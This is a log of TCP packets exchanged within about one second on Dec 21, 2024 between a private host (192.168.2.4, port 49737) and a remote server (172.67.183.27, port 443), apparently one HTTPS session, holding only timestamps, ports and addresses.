Dec 21, 2024 20:13:44.580338955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.580391884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.587681055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.587696075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.587754965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.587759972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.591125965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.591192007 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.591197014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.592029095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.592070103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.592075109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.592111111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.594057083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.594115019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.601047993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.601062059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.601121902 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.601128101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.602166891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.602214098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.602219105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.602252960 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.603270054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.603316069 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.608604908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.608670950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.608689070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.608725071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.608745098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.608764887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.610538006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.610580921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.611833096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.611879110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.613250017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.613311052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.614476919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.614521980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.616278887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.616322994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.727693081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.727864981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.729000092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.729048967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.729862928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.729918957 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.756618977 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.756668091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.757414103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.757477045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.758691072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.758744955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.759560108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.759613037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.760864019 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.760916948 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.768259048 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.768274069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.768320084 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.768327951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.768377066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.775521040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.775536060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.775582075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.775588036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.775636911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.776655912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.776701927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.777848959 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.777895927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.780019045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.780096054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.781928062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.781989098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.784099102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.784147024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.786191940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.786259890 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.787451029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.787508011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.789625883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.789674044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.791208029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.791261911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.793314934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.793369055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.800637007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.800651073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.800724983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.800730944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.800813913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.800818920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.802930117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.803002119 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.803008080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.803046942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.805274010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.805351973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.806514978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.806560993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.919624090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.919680119 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.921101093 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.921159029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.948498011 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.948555946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.949668884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.949719906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.951699018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.951756954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.953071117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.953124046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.955107927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.955188990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.957123041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.957178116 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.959187031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.959245920 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.960473061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.960530996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.962621927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.962670088 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.963690042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.963747978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.965871096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.965919018 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.968861103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.968913078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.970031977 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.970077038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.972193003 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.972270012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.974172115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.974215031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.976315975 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.976380110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.978476048 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.978528023 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.979708910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.979768038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.981939077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.981988907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.983850956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.983901024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.985578060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.985637903 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.987718105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.987783909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.990143061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.990194082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.991025925 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.991071939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.996340990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.996403933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.996413946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.996462107 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.113460064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.113497019 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.113531113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.113548040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.113580942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.113593102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.143990993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.144051075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.144056082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.144100904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.146120071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.146178961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.147423983 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.147476912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.149581909 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.149636030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.151500940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.151555061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.153654099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.153714895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.155776978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.155828953 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.157071114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.157121897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.158986092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.159043074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.161113977 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.161218882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.163242102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.163294077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.165694952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.165745974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.170799971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.170861959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.170866966 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.170912981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.173074007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.173125982 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.176218987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.176275969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.177915096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.177980900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.180958986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.181021929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.183270931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.183336973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.186319113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.186368942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.187479019 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.187535048 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.190332890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.190422058 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.192537069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.192585945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.304562092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.304621935 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.333144903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.333236933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.335398912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.335464954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.337723017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.337786913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.340770960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.340828896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.342873096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.342936993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.345360041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.345418930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.348309040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.348372936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.350622892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.350677967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.356508970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.356587887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.357956886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.358015060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.360052109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.360111952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.360124111 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.360163927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.361318111 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.361377954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.368629932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.368645906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.368691921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.368695974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.368721962 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.371437073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.371495962 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.371500969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.371598959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.378771067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.378787041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.378832102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.378835917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.378875017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.378875017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.384819031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.384877920 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.384882927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.384970903 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.496921062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.496968985 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.526405096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.526459932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.528618097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.528683901 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.530720949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.530776978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.533020020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.533077002 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.534984112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.535039902 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.538168907 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.538233042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.540361881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.540411949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.543332100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.543379068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.546677113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.546731949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.549027920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.549082041 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.552082062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.552139044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.555289984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.555389881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.558383942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.558433056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.565395117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.565450907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.565458059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.565505028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.567635059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.567687035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.570776939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.570833921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.572768927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.572818041 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.574084044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.574130058 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.575512886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.575552940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.692415953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.692462921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.692496061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.718481064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.718535900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.719983101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.720041037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.722884893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.722942114 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.726142883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.726192951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.729321003 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.729376078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.732501030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.732556105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.735830069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.735883951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.739063978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.739120960 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.742202044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.742254972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.745307922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.745361090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.746366978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.746416092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.748497963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.748543978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.751729012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.751781940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.754930973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.754988909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.756263971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.756319046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.758532047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.758577108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.761738062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.761782885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.764978886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.765130043 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.767635107 CET	443	49737	172.67.183.27	192.168.2.4
